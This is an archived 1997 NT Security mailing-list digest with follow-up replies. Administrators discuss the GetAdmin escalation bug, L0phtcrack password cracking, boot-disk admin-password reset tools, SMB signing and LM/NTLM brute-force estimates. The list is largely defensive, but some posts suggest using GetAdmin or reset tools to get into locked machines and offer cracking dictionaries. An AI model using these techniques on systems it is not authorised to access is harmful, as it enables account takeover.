> > Chris
> >
> > ------------------------------
> >
> > Date: Wed, 16 Jul 97 08:30:21 +0800
> > From: Virendra.Mantri~mantri01@mhs.us.swissbank.com
> > Subject: Re: [NTSEC] Variable (User Name)
> >
> >
> > The variable is USERNAME. I guess, you will have to refer to
> it
> > as
> > %USERNAME% if your are writing a simple DOS script.
> >
> > Execute the command 'set' at the DOS prompt, and you will see
> all
> > the
> > environmental variables.
> >
> > Cheers,
> > Viren
> >
> > ______________________________ Reply Separator
> > _________________________________
> > Subject: [NTSEC] Variable (User Name)
> > Author: BBOYD (BBOYD@mail.state.ky.us) at unix,mime
> > Date: 16/7/97 2:07 AM
> >
> > I need to pass the variable for user name on to another application.
> > Does anyone have the information concerning what that variable is.
> >
> >
> > Thanks,
> > Bob Boyd
> >
> > Information Security Officer
> > Kentucky Revenue Cabinet
> > Office (502)564-5200 X4492
> > Fax (502)564-9896
> > e-mail BBoyd@ mail.state.ky.us
> >
> > ------------------------------
> >
> > Date: Wed, 16 Jul 97 09:11:56 EST
> > From: msee@CCMGATE.PERPETUAL.COM.AU
> > Subject: Re: [NTSEC] Getadmin
> >
> > Hi Misha,
> >
> > Banyan Systems Australia just announced a product that allows
> > users to
> > access their LAN from the Internet by logging into a personal
> web
> >
> > page.
> >
> > From "The Australian" newspaper, Tuesday 15 July 1997:
> > ---
> > "That will take you back through your firewall to your
> Corporate
> > network ..."
> > "... based on the Windows NT platform and sits behind the
> network
> >
> > firewall."
> > "It acts as an interpreter between user requests and the
> network,
> >
> > providing SSL encryption and verifying users with digital
> > certificates."
> > "... costs AU$7850 for up to 25 users and AU$23,560 for up to
> > 100."
> > ---
> >
> > I'm interested in any similar technologies, so keep us posted.
> >
> > Regards,
> > Matthew See - Internet Administrator
> > Perpetual Trustees Australia
> >
> > ______________________________ Reply Separator
> > _________________________________
> > Subject: [NTSEC] Getadmin
> > Author: Comms_Server at INTERNET
> > Date: 16/7/97 8:53 AM
> >
> > Here's yet another question about getadmin :
> >
> > Is it possible to run the getadmin.exe in windows 95 and get it to
> > work
> > properly if the NT dll's it needs were copied into the
> > c:\windows\system
> > directory?
> >
> > If so, is there a patch available that will allow me to protect
> myself
> >
> > against this attack?
> >
> > Also, another quick question...Does anyone have CGI script or some
> > other
> > form of net source that will allow me to have a private page on my
> > site
> > that users can logon through..
> >
> > I.e. users will be able to access their own directories over the
> net.
> > How open to attack will this leave me. (I am planning to disable
> > logons
> > from administrator, setup, etc. Just bog standard users will have
> > access
> > to logon.
> >
> > thanks
> > Misha
> >
> > ------------------------------
> >
> > Date: Wed, 16 Jul 1997 08:53:57 +0800
> > From: Stephen Cooper 
> > Subject: Re: [NTSEC] Lost Administrator Password
> >
> > Try this
> > http://home.eunet.no/~pnordahl/ntpasswd/bootdisk.html
> >
> > Tim Chovanak (Digital Equipment Corporation) wrote:
> >
> > > What version, and do you know of any other accounts on the box?
> > >
> > > If it's 3.51 and Guest is enabled (default), you might be able to
> > put
> > > the recent GetAdmin bug to use, if it works on 3.51 boxes.
> > >
> > > > -----Original Message-----
> > > > From: Ronald Golden [SMTP:rgolden@akamail.com]
> > > > Sent: Wednesday, July 09, 1997 2:57 PM
> > > > To: NT Security Mailing List (E-mail)
> > > > Subject: [NTSEC] Lost Administrator Password
> > > >
> > > > We had a user with the administrator password on a NT standalone
> > > > workstation get fired. He was the only one with the password.
> Is
> >
> > > > there
> > > > anyway to get into this machine, or are we hosed?
> > > >
> > > > On another note. Yesterday, I sent out an e mail to my address
> > > book,
> > > > the
> > > > purpose of which was to transfer names to my Netscape e mail. I
> > > > accidentally included this list in the mailing. I sincerely
> > > apologize
> > > > for
> > > > any inconvenience it caused. I only sent it once. I don't know
> > why
> > >
> > > > it got
> > > > sent so many times. It was not intentional. I even waited
> until
> > I
> > > > had
> > > > something to post to send this apology. Thanks.
> > > >
> > > > Ronald Golden
> > > > rgolden@akamail.com
> > > >
> > > > -----BEGIN PGP PUBLIC KEY BLOCK-----
> > > > Version: 2.6.2
> > > >
> > > > mQCNAzMBGQcAAAEEAPaV49Ge3Y4nQFn3rDrafDR8iy1SjDM49Sdtc2pg3+X06mG5
> > > > cxQbYhBMmLTGsAIYGOrCs0zd5XEE4ny6AxYhId0b/SxcX8dcs8sHr9q1vW14sWo8
> > > > wMyF6JkafJvVvusRXQi7jrBu9obPYbeR9zwJOHAZiC4YByHvzvnfcgvl/rYlAAUR
> > > > tCZSb25hbGQgUy4gR29sZGVuIDxyZ29sZGVuQGFrYW1haWwuY29tPg==
> > > > =qRI0
> > > > -----END PGP PUBLIC KEY BLOCK-----
> >
> > - --
> > Stephen Cooper 
> > Internet Engineer, Internet and Open Systems Group
> > AlphaWest, Level 10, QV1 Building, 250 St Georges Tce, Perth, WA
> 6000
> > Main: (+61 8) 94296000 Fax: (+61 8) 94296030
> >
> > ------------------------------
> >
> > Date: Wed, 16 Jul 1997 11:55:40 +1000
> > From: Manoj Nayar 
> > Subject: RE: [NTSEC] [Fwd: L0phtcrack 1.5]
> >
> > have used it..requires a lot or processor oomph for brute force.
> Pulls
> >
> > the SAM down form any machine easily though...net Admin privillages
> > though.
> >
> > >----------
> > >From: 0x486578[SMTP:486578@ilinks.net]
> > >Sent: Wednesday, July 16, 1997 9:19 AM
> > >To: ntsecurity@iss.net
> > >Subject: [NTSEC] [Fwd: L0phtcrack 1.5]
> > >
> > ><>
> > >
> > >
> >
> > ------------------------------
> >
> > End of ntsecurity-digest V2 #588
> > ********************************
At 09:20 AM 7/16/97 -0500, you wrote:
>
>NET USE is a NETBIOS command and uses a different system (called
>browsing) to access shared resources through the server service.
>

Actually, net use is a command line interface to specific set of API's
implemented by the workstation service, which is layered over the protocols
and then the NIC's. Browsing has no role. Net view displays the browser
cache and the more common incarnation of the browser is known as the
Network Neighborhood.

And no its not security related, so lets drop it all...


Eric



============================================================================
====
Eric Germann Computer and Communications Technologies
ekgermann@cctec.com Van Wert, OH 45891
 Phone: 419 968 2640
http://www.cctec.com Fax: 419 968 2641

Network Design, Connectivity & System Integration Services 
A Microsoft Solution Provider 
I want to close the subject on 'WINS not enabled on client hosts'

Thanx to David Trulli! 

> -----Original Message-----
> From: w.wessels@cc.ruu.nl [SMTP:w.wessels@cc.ruu.nl]
> Sent: Wednesday, July 16, 1997 6:57 AM
> To: ntsecurity@iss.net
> Subject: [NTSEC] WINS not enabled on same subnet
> 
> Suppose a subnet with some hosts configured without using WINS. (A)
> Suppose another subnet with some hosts configured with and without 
> WINS. (B)
> Subnet A and B can communicate to eachoter.
> 
> A host on subnet A asks for a new computername, it choosses a name
> that is
> also in use at subnet B.
> Hosts on subnet a will let allow the host to take this name because no
> hosts carry the requested name.
> 
> What will happen when you do net use ... ?
 [David Trulli] 
 If you are using M node you will find the local machine on A
first. If you use H node you find the one in WINS.
 In other words you have an undetected name conflict. 

> Hopefully someone can give me answer, and where did i go wrong?
> 
> Wouter.



I have been working on a port scanner/database for NT for quite some time. 
It is actually quite fast, and supports burst scanning an entire class C. 
It does use winsock 2, so you need to have NT 4.0 Workstation or Server,
and an 800x600 display. 

Please download a copy from www.asmodeus.com

For those of you who have already seen asmodeus, this is a new version with
significant enhancements. Please contact me and let me know what you think
of the program, how I can improve it for your needs, etc etc.. This has
been an ongoing project for me and I plan on supporting it. Information on
contacting me can be obtained from the About Box.

Thanks in advance,

-Greg Hoglund
hoglund@ieway.com
 
Subject: Re: [NTSEC] NET commands 
Author: Mark Lamourine at Internet
Date: 7/16/97 8:51 AM


-----BEGIN PGP SIGNED MESSAGE-----
 
Content-Type: text/plain; charset=us-ascii
 
 
Christopher.Padilla@entex.com said:
> I am looking for a way to use the NET commands to provide me with 
> security for a \\SERVER or a /DOMAIN. If you have the magic key 
> sequences please forward them to me.
> 
 
Ummm. Precisely what do you want to do?
 
If you are concerned with protecting passwords:
 
If you are running NT, and have a domain with domain controllers, have applied 
SP3 to the workstations and have not set the AllowCleartextPasswords registry 
key, then you do not have to fear for your passwords on the network.
 
If you are looking for CIFS data transport encryption, forget it. The data is 
transmitted in the clear and I have not heard of a way to get CIFS to use SSL 
(the data encryption/authentication method used by secure web servers/browsers)
 
I ask again.
 
What is is you are trying to secure?

______________________________ Reply Separator _________________________________
 
 I am basically trying to do two things with this:
 
 1.) I am trying to add users to a domain using a batch file. This 
 would be helpful when you are in a large organization, just because 
 there are so many steps especially if their profile uses hidden shares 
 because for some reason the User Manager will not add the directory if 
 it has a $ sign after it. I can get the shares created with the NET 
 commands but adding users is not easy especially if you are trying to 
 populate all the fields available to you.
 
 2.) I would like to extract the rights users have to directories and 
 groups. I know that I can buy a utility like SOMARSOFT but if I can 
 get this info into an ASCII file then I can make it look any way I 
 want.
 
 Thanks,
 Chris
 I had this problem too. What I was able to do is user KIXSTART to set 
 my global variable with their SET command and then use that 
 environmental variable in batch files or other programs that could 
 pull the environmental variable. The problem lies in the fact that 
 when the DOS batch or command file completes and you set %USERNAME% to 
 an environmental variable it goes away when the child process is 
 completed.
 
 Hope this helps.


______________________________ Reply Separator _________________________________
Subject: Re: [NTSEC] Variable (User Name)
Author: Eric Germann at Internet
Date: 7/15/97 3:45 PM


Hmmm, well if I go to a command prompt and type SET to dump them I get ....
 
 
USERNAME=xxxxxx
 
At 02:07 PM 7/15/97 -0400, Boyd, Bob wrote:
>I need to pass the variable for user name on to another application. 
>Does anyone have the information concerning what that variable is.
>
>
>Thanks,
>Bob Boyd
>
>Information Security Officer
>Kentucky Revenue Cabinet
>Office (502)564-5200 X4492
>Fax (502)564-9896
>e-mail BBoyd@ mail.state.ky.us
>
>
>
 
 
============================================================================ 
====
Eric Germann Computer and Communications Technologies
ekgermann@cctec.com Van Wert, OH 45891
 Phone: 419 968 2640
http://www.cctec.com Fax: 419 968 2641
 
Network Design, Connectivity & System Integration Services 
A Microsoft Solution Provider 
First -- SMB signing is not a technology for preventing brute force
attacks, it is a technology for preventing man-in-the-middle attacks. It
authenticates each message with a key derived from the password and some
per-session material. As a result, if you can crack the password, you
can forge the signatures on the messages. This is an intrinsic property
of all password based authentication schemes -- if you crack the secret,
then any keys exchanged using that secret are compromised. It is (for
example) also true of Kerberos.

Second -- there's a fix already out for the sniffing attack. For NT, it
makes it possible to stop using the LM challenge/response, the weaker of
the two challenge/response algorithms.

The spec for the LM and NTLM challenge/response algorithms, with a
description of relevant security considerations, is at 
 ftp://ftp.microsoft.com/developr/drg/cifs/sec.htm

A brief summary of the major NTLM considerations:

1. Brute force attack
Against good passwords, with the best known software, which runs at a
million crack attempts/sec on a PPRO 200, would take 5,700 years at that
rate with one such machine (or 57 years with 100 machines, or 5.7 years
with 1000 machines).
In order to be that secure, a password has to have a least 56 bits of
randomness -- that means there must be more than 7.2*10**16 other --
and can't be in a dictionary.

Some relevant numbers for the possible combinations of passwords with
various character sets:
12 character all lower case: 9.5*10**16
11 character, add numerics: 1.3*10**17
10 character, add punctuation: 2.45*10**18
9 character, add mixed case: 6.3*10**17

Caveat: such passwords as described above are not easy to remember.
Easier-to-remember passwords will have less randomness. However, upper
casing a couple of characters, and adding couple of numeric and
punctuation characters, with an easy to remember password will increase
the number of combinations dramatically (roughly by a factor of 10,000),
and keep it out of easily avaiable dictionaries.
 
2. Chosen plaintext attack
A server can choose the challenge, and lookup the response in a
precomputed table. For good passwords, the table will be very very large
-- about 200,000 terabytes. If the password has numbers, punctuation, or
upper case, it won't be in an easily available dictionary.

Paul

> ----------
> From: webmaster@istn.net[SMTP:webmaster@istn.net]
> Reply To: webmaster@istn.net
> Sent: Wednesday, July 16, 1997 6:41 AM
> To: ntsecurity@iss.net
> Subject: [NTSEC] Re: ntsecurity-digest V2 #588
> 
> <>
> SMB signing in NT 4.0 SP3 is vulnerable to a brute force attack... In
> fact after seeing the new version of L0phtcrack 1.5 .. I read in the
> docs it can defeat it to get account info for cracking via "sniff"
> files
> you can create for it with your own sniffer.. So then what
> alternatives
> do you have to running SMB? .. Anyone?...
> 
> P.S. I have a killer dictionary file for l0phtcrack I created myself
> ..
> over 200K.. If anyone wants it I'll attach it .. just drop me a note..
> If someone else has a larger and/or fairly good dictionary file for it
> I
> would truly appreciate a copy of it.. Thanks..
> --
> 
> <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
> <
> Q: How many consultants does it take to screw in a lightbulb?
> A: One. He just holds the lightbulb while the earth revolves around
> him.
> 
> >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
> >
> ______________________________________________________________________
> __
> 
> Jose A. Palacio
> Sr. Consultant
> Internet Security Specialist
> Grant Thornton LLP
> E-Mail: webmaster@istn.net
> www: http://jose.istn.net/
> ______________________________________________________________________
> __
> 
> - -----BEGIN SPAM WARNING-----
> 
> WARNING: ANYONE SENDING UNREQUESTED ADVERTISEMENT
> VIA EMAIL WILL BE ADDED TO A FILTER LIST.
> I WILL ALSO BE PERSONALLY OFFENDED.. HE HE HE..
> WHO KNOWS WHAT I MIGHT DO IF I AM OFFENDED?!!
> PLEASE REFRAIN FROM SENDING JUNK E-MAIL (SPAM).
> THIS E-MAIL ADDRESS IS NOT TO BE ADDED TO A MASS
> EMAIL LIST.
> 
> - -----END SPAM WARNING----
> 
> ntsecurity-digest wrote:
> 
> > ntsecurity-digest Wednesday, July 16 1997 Volume 02 :
> > Number 588
> >
> > [To unsubscribe from this list send the message "unsubscribe
> > ntsecurity-digest"
> > in the BODY of a mail message to majordomo@iss.net. Do NOT send
> > majordomo
> > requests to the mailing list.]
> >
> >
> ----------------------------------------------------------------------
> >
> > Date: Tue, 15 Jul 1997 09:50:32 +0200
> > From: Frank Heyne 
> > Subject: [NTSEC] Change Audit List from command line?
> >
> > There is a command line tool cacls to change the ACL's throughout a
> > directory tree.
> >
> > Is there a command line tool to do the same with the audit policy,
> > for instance with all *.exe on a drive?
> >
> > Greetings
> >
> > Frank Heyne
> > http://rcswww.urz.tu-dresden.de/~fh/
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 10:22:56 +0000 (GMT)
> > From: Andreas Kostyrka 
> > Subject: Re: [NTSEC] Check This Out!!!!!!!!!!!1
> >
> > - -----BEGIN PGP SIGNED MESSAGE-----
> >
> > On Mon, 14 Jul 1997, David LeBlanc wrote:
> > > There is ENTIRELY too much noise on this list, and I do NOT want
> it
> > to
> > > devolve into a discussion of whether MS can, should, or is going
> to
> > conquer
> > > the rest of the known universe.
> > >
> > > PLEASE limit discussions to SECURITY related items.
> > This is longterm security. Business practices of your core
> technology
> > deliverer should be a concern, especially with not open property
> > solution because there is no alternative as there is with for
> example
> > UNIX.
> >
> > Andreas
> >
> > - -----BEGIN PGP SIGNATURE-----
> > Version: 2.6.3i
> > Charset: noconv
> >
> > iQEVAwUBM8tPg1GrPWwMHrE1AQFTrwf9F9wsOoFCSupGiH4JHYrI4sLlLrcHySo/
> > iGs5g9JUeaOMezLNf2x723wAbYA5XnnPviEZ1wGAkhNrPNjCltSTFw/AgJywrsPF
> > GTM0Ifs9IZeNebkNul5zz74vXbLotPhr+7Rck92nWLObYbyboeiJxWxtKKxUr9EL
> > FacCOY74k2xM3CG1REp1nAJLmER01mnwcd5XULxQUGNRZK9E89K3IkmGjLwvSzNA
> > JooVnV3wgppO2kNLBacvDhbBpmsLJzi2roYA7m/MEkjNxLquaXDymy/TrEIZpQpS
> > WNrSdyXDWMCiTcR7Da6wfFCayttK2rPlSsv7C1LQLIAHenMvNAdErA==
> > =bTn2
> > - -----END PGP SIGNATURE-----
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 08:05:24 -0400
> > From: abolin@email.mcc.edu
> > Subject: Re: [NTSEC] Seems To Me...
> >
> > Why is it so difficult to adhere to the rules of the mailing list?
> As
> >
> > dleblanc has repeatedly stated, the mailing list is for security
> > matters,
> > not flaming or personal opinions about the new MS World Order! He
> has
> >
> > recommended alternative mailing lists for those matters. Follow the
> > rules
> > or move on so the rest of us who do follow the rules are not
> subjected
> > to
> > mailboxes full of others' personal opinions.
> >
> > brandyjc@donet.com on 07/14/97 11:12:12 PM
> >
> > Please respond to brandyjc@donet.com
> >
> > To: ntsecurity@iss.net
> > cc: (bcc: Andy S Bolin/Mott)
> > Subject: [NTSEC] Seems To Me...
> >
> > It seems to me that at least as many bytes (if not more) are devoted
> > to
> > requests to stay on topic as are actually off topic. Just a
> thought.
> > Enjoying the list and learning a lot myself.
> > John
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 08:04:26 -0400
> > From: David LeBlanc 
> > Subject: Re: [NTSEC] Check This Out!!!!!!!!!!!1
> >
> > At 10:22 7/15/97 +0000, Andreas Kostyrka wrote:
> > >-----BEGIN PGP SIGNED MESSAGE-----
> > >
> > >On Mon, 14 Jul 1997, David LeBlanc wrote:
> >
> > >> PLEASE limit discussions to SECURITY related items.
> >
> > >This is longterm security. Business practices of your core
> technology
> >
> > >deliverer should be a concern, especially with not open property
> > >solution because there is no alternative as there is with for
> example
> >
> > >UNIX.
> >
> > The business practices of any vendor are NOT a proper topic for this
> > list.
> > It is an emotionally charged issue, and leads to nothing but
> > flame-wars.
> > The people who subscribe to this list depend on it for security
> > related
> > information, some of which is time-critical. It may be a proper
> > concern,
> > but PLEASE discuss it somewhere else. There are a number of USENET
> > forums
> > which are quite adequate and deal with that topic constantly. It
> > usually
> > boils down to "They are the evil empire", "Are not", "Are too"
> (repeat
> > last
> > 2 until blue in face).
> >
> > If it doesn't directly have to do with maintaining information
> > security on
> > Windows NT, please post it elsewhere. We do not have time to
> moderate
> > the
> > list, but have been forced to do so in the past when flame-wars have
> > broken
> > out. I'd rather not see a repeat of that. I'm asking everyone to
> > _please_
> > be considerate of others and limit your posts to issues directly
> > related to
> > security - we've all got quite full mailboxes, and frankly, the less
> > junk I
> > have to wade through to find the important information the happier I
> > am.
> >
> > - -----------------------------------------------------------
> > David LeBlanc | Voice: (770)395-0150 x138
> > Internet Security Systems, Inc. | Fax: (404)395-1972
> > 41 Perimeter Center East | E-Mail: dleblanc@iss.net
> > Suite 660 | www: http://www.iss.net/
> > Atlanta, GA 30328 |
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 14:44:18 +0100
> > From: acr@als.co.uk (Alan C. Ramsbottom)
> > Subject: [NTSEC] MS Proxy 2 Beta
> >
> > This is now available from the MS proxy page:
> >
> > http://www.microsoft.com/proxy
> >
> > There are lot's of new features such as dynamic packet filtering and
> > real-time
> > alerts. A key point of interest is that the previous version (1.0)
> > explicitly
> > stated it was *not* a firewall, whereas Version 2 is now being
> pitched
> > as "The
> > First Integrated Content Cache and Firewall Server for Windows NT
> > Server 4.0".
> >
> > - --Alan--
> > acr@als.co.uk
> >
> > ------------------------------
> >
> > Date: Sun, 15 Jun 1997 15:26:16 +0100
> > From: Comms_Server 
> > Subject: [NTSEC] Getadmin
> >
> > Here's yet another question about getadmin :
> >
> > Is it possible to run the getadmin.exe in windows 95 and get it to
> > work
> > properly if the NT dll's it needs were copied into the
> > c:\windows\system
> > directory?
> >
> > If so, is there a patch available that will allow me to protect
> myself
> >
> > against this attack?
> >
> > Also, another quick question...Does anyone have CGI script or some
> > other
> > form of net source that will allow me to have a private page on my
> > site
> > that users can logon through..
> >
> > I.e. users will be able to access their own directories over the
> net.
> > How open to attack will this leave me. (I am planning to disable
> > logons
> > from administrator, setup, etc. Just bog standard users will have
> > access
> > to logon.
> >
> > thanks
> > Misha
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 11:52:57 -0400 (EDT)
> > From: "John \"E.R.\" Jasen" 
> > Subject: Re: [NTSEC] Check This Out!!!!!!!!!!!1
> >
> > > This is longterm security. Business practices of your core
> > technology
> > > deliverer should be a concern, especially with not open property
> > > solution because there is no alternative as there is with for
> > example
> > > UNIX.
> >
> > No, the technology as related to security or the business as related
> > to
> > security. Example: Microsoft releasing a new browser with
> > whizzy-fizz-bang
> > v2.6 is not news. Microsoft releasing a statement stating: "We're
> > insecure
> > and PROUD!" is.
> >
> > - --
> > "What do you want?" -- Mr. Morden, Microsoft Sales VP
> >
> > - -- John E. Jasen // Systems Alchemist \\ jjasen1@umbc.edu --
> > - -- My views are not those of UMBC, AFAIK. HTH. HAND. --
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 10:02:20 -0700
> > From: David Trulli 
> > Subject: RE: [NTSEC] MS Proxy 2 Beta
> >
> > As people try the proxy 2.0 beta I would like to hear your feedback
> > on
> > how you like the new security features.
> >
> > Dave
> >
> > > -----Original Message-----
> > > From: acr@als.co.uk [SMTP:acr@als.co.uk]
> > > Sent: Tuesday, July 15, 1997 9:44 AM
> > > To: ntsecurity@iss.net; NTBUGTRAQ@RC.ON.CA
> > > Subject: [NTSEC] MS Proxy 2 Beta
> > >
> > > This is now available from the MS proxy page:
> > >
> > > http://www.microsoft.com/proxy
> > >
> > > There are lot's of new features such as dynamic packet filtering
> and
> >
> > > real-time
> > > alerts. A key point of interest is that the previous version (1.0)
> > > explicitly
> > > stated it was *not* a firewall, whereas Version 2 is now being
> > pitched
> > > as "The
> > > First Integrated Content Cache and Firewall Server for Windows NT
> > > Server 4.0".
> > >
> > > --Alan--
> > > acr@als.co.uk
> > >
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 14:47:13 GMT
> > From: "Dieter Spaar" 
> > Subject: Re: [NTSEC] Boot Disk password changer
> >
> > In article you write:
> > >
> > > I was able to use the utility with SP3 so long as Syskey wasn't
> > installed.
> > >
> > > -luke
> > >
> > > >The utility doens't work with SP3 ...
> >
> > Of course there are other bootdisk tools to replace the admin
> password
> >
> > that even work if system key security has been turned on.
> >
> > One of them is NTAccess but it is not free. More info is availabel
> at
> > www.mirider.com.
> >
> > Best regards,
> > Dieter
> > - --
> > Dieter Spaar, Germany
> > spaar@mirider.augusta.de
> > If address above fails: spaar@mirider.com
> >
> > *** Replace Windows NT admin password: http://www.mirider.com
> ***
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 18:51:39 +0100
> > From: acr@als.co.uk (Alan C. Ramsbottom)
> > Subject: Re: [NTSEC] new post SP3 hotfix: lm-fix
> >
> > On 14 Jul 97 at 0:37, Alan C. Ramsbottom wrote:
> >
> > > The presence of the LanMan authentication data negates much of the
> > > effect of using a 'strong' password, and by removing it from the
> > > challenge/response, a brute-force attack will typically take much
> > > longer.
> >
> > A little more detail is called for; by "much" I really meant several
> > orders
> > of magnitude longer e.g. in order to get the password equivalent NT
> > OWF for a
> > strong password, it would take an average of about two thousand
> years
> > (assuming a relatively generous "crack rate" of one million attempts
> > per
> > second on a typical high-end desktop machine).
> >
> > > PS: Could some NT device driver/kernel guru please explain "ring
> 0"?
> >
> > PS: Many thanks to everyone who sent me some very good explanations
> > privately. Although I knew about the kernel/user mode concepts, I'd
> > never heard the term "ring 0" before.
> >
> > Regards,
> >
> > - --Alan--
> > acr@als.co.uk
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 12:58:14 -0500
> > From: Mike Adams 
> > Subject: [NTSEC] Steelhead / Proxy 2.0a Question...
> >
> > Does anyone have any feedback or knowledge on using Proxy 2.0 with
> > Steelhead? Can you use proxy with steelhead if you have a ISDN
> modem
> >
> > connected to a NT server as a dial on demand router? In other
> words
> > does
> > Proxy require two NIC cards or will it use the RAS / WAN connection?
> >
> > Any ideas?
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 14:07:01 -0400
> > From: "Boyd, Bob" 
> > Subject: [NTSEC] Variable (User Name)
> >
> > I need to pass the variable for user name on to another application.
> > Does anyone have the information concerning what that variable is.
> >
> > Thanks,
> > Bob Boyd
> >
> > Information Security Officer
> > Kentucky Revenue Cabinet
> > Office (502)564-5200 X4492
> > Fax (502)564-9896
> > e-mail BBoyd@ mail.state.ky.us
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 14:36:50 -0400 (EDT)
> > From: "John \"E.R.\" Jasen" 
> > Subject: Re: [NTSEC] new post SP3 hotfix: lm-fix
> >
> > One question is: what, if anything, would this do to Samba?
> >
> > - --
> > "What do you want?" -- Mr. Morden, Microsoft Sales VP
> >
> > - -- John E. Jasen // Systems Alchemist \\ jjasen1@umbc.edu --
> > - -- My views are not those of UMBC, AFAIK. HTH. HAND. --
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 11:51:09 -0700
> > From: David Trulli 
> > Subject: RE: [NTSEC] Steelhead / Proxy 2.0a Question...
> >
> > Proxy and steelhead complement each other well in that situation.
> You
> > can use the dial on demand to
> > provide the internet access.
> >
> > Dave
> >
> > > -----Original Message-----
> > > From: Mike Adams [SMTP:mikea@netropolis.net]
> > > Sent: Tuesday, July 15, 1997 1:58 PM
> > > To: 'ntsecurity@iss.net'
> > > Subject: [NTSEC] Steelhead / Proxy 2.0a Question...
> > >
> > > Does anyone have any feedback or knowledge on using Proxy 2.0 with
> > > Steelhead? Can you use proxy with steelhead if you have a ISDN
> > modem
> > >
> > > connected to a NT server as a dial on demand router? In other
> > words
> > > does
> > > Proxy require two NIC cards or will it use the RAS / WAN
> connection?
> >
> > >
> > >
> > > Any ideas?
> >
> > ------------------------------
> >
> > Date: Wed, 16 Jul 1997 03:02:10 -0000
> > From: petar@escape.net.au (Petar Nikolich)
> > Subject: Re: [NTSEC] Steelhead / Proxy 2.0a Question...
> >
> > If you ferret through the docs you will find that the answer is -
> YES.
> >
> > There just need to be "TWO" networks. It doesn't matter what devices
> > each network is connected on, as long as RAS + Routing can find
> driver
> >
> > support for them. Proxy 2 is designed to cooperate with R&R
> services.
> > Again, its in the docs - errr dare I say - rtfm
> >
> > The security aspect seems much improved, well at least a lot more
> > options.
> >
> > - ----------
> > From: Mike Adams 
> > To: 'ntsecurity@iss.net'
> > Subject: [NTSEC] Steelhead / Proxy 2.0a Question...
> > Date: Wednesday, July 16, 1997 1:58 AM
> >
> > Does anyone have any feedback or knowledge on using Proxy 2.0 with
> > Steelhead? Can you use proxy with steelhead if you have a ISDN
> modem
> >
> > connected to a NT server as a dial on demand router? In other
> words
> > does
> > Proxy require two NIC cards or will it use the RAS / WAN connection?
> >
> > Any ideas?
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 15:45:09 -0400
> > From: Eric Germann 
> > Subject: Re: [NTSEC] Variable (User Name)
> >
> > Hmmm, well if I go to a command prompt and type SET to dump them I
> get
> > ....
> >
> > USERNAME=xxxxxx
> >
> > At 02:07 PM 7/15/97 -0400, Boyd, Bob wrote:
> > >I need to pass the variable for user name on to another
> application.
> > >Does anyone have the information concerning what that variable is.
> > >
> > >
> > >Thanks,
> > >Bob Boyd
> > >
> > >Information Security Officer
> > >Kentucky Revenue Cabinet
> > >Office (502)564-5200 X4492
> > >Fax (502)564-9896
> > >e-mail BBoyd@ mail.state.ky.us
> > >
> > >
> > >
> >
> > =
> >
> ======================================================================
> ====
> >
> > ====
> > Eric Germann Computer and Communications
> > Technologies
> > ekgermann@cctec.com Van Wert, OH 45891
> > Phone: 419 968 2640
> > http://www.cctec.com Fax: 419 968 2641
> >
> > Network Design, Connectivity & System Integration Services
> > A Microsoft Solution Provider
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 14:52:11 -0600
> > From: "Frank Knobbe" 
> > Subject: RE: [NTSEC] MS Proxy 2 Beta
> >
> > - -----BEGIN PGP SIGNED MESSAGE-----
> >
> > On 15 Jul 97 at 10:02, David Trulli wrote about: RE: [NTSEC] MS
> > Proxy
> > 2 Beta
> >
> > > As people try the proxy 2.0 beta I would like to hear your
> > feedback
> > > on how you like the new security features.
> >
> > I think we all would like to hear about the improved security of
> Proxy
> >
> > 2.0. I hope results will be posted to this list...
> >
> > Frank
> >
> > - -----BEGIN PGP SIGNATURE-----
> > Version: 2.6.2
> >
> > iQCVAwUBM8vUacZP3ocmY5AlAQHQhwQAyOdO8Fw5QFsbZTFHGibgTDY9PT8tCNAp
> > IJXC1SidP+w6vGaCpovIrZFtXYSwUSV15nlcNQneB8Z1hwCYa4igmPUq3ivD2+R3
> > laCqVo+Roa0hg26Z3NhGjf1BiV9VMF3972V+LIe7AuLEo9sFbJ32K8CB25OnvBkN
> > JQ/PzhiPJFs=
> > =nMvo
> > - -----END PGP SIGNATURE-----
> > - -----BEGIN SPAM WARNING-----
> >
> > WARNING: ANYONE SENDING UNREQUESTED ADVERTISEMENT
> > VIA EMAIL WILL BE ADDED TO A FILTER LIST, WHICH WILL
> > AUTOMATICALLY DELETE EVERY MAIL FROM THE SENDER.
> > THIS WILL DISABLE FURTHER CORRESPONDENCE.
> > PLEASE REFRAIN FROM SENDING JUNK E-MAIL (SPAM).
> > THIS E-MAIL ADDRESS IS NOT TO BE ADDED TO A MASS
> > EMAIL LIST.
> >
> > - -----END SPAM WARNING-----
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 19:19:10 -0400
> > From: 0x486578 <486578@ilinks.net>
> > Subject: [NTSEC] [Fwd: L0phtcrack 1.5]
> >
> > Received: from brimstone.netspace.org (brimstone.netspace.org
> > [128.148.157.143]) by serv2.ilinks.net (8.8.5/8.6.12) with ESMTP id
> > QAA19644; Tue, 15 Jul 1997 16:13:15 -0400 (EDT)
> > Received: from unknown@netspace.org (port 6919 [128.148.157.6]) by
> > brimstone.netspace.org with ESMTP id <35424-19870>; Tue, 15 Jul 1997
> > 15:53:59 -0400
> > Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release
> > 1.8c) with
> > spool id 4374554 for BUGTRAQ@NETSPACE.ORG; Tue, 15 Jul
> 1997
> > 15:46:02
> > -0400
> > Received: from l0pht.com (l0pht.com [199.201.145.1]) by netspace.org
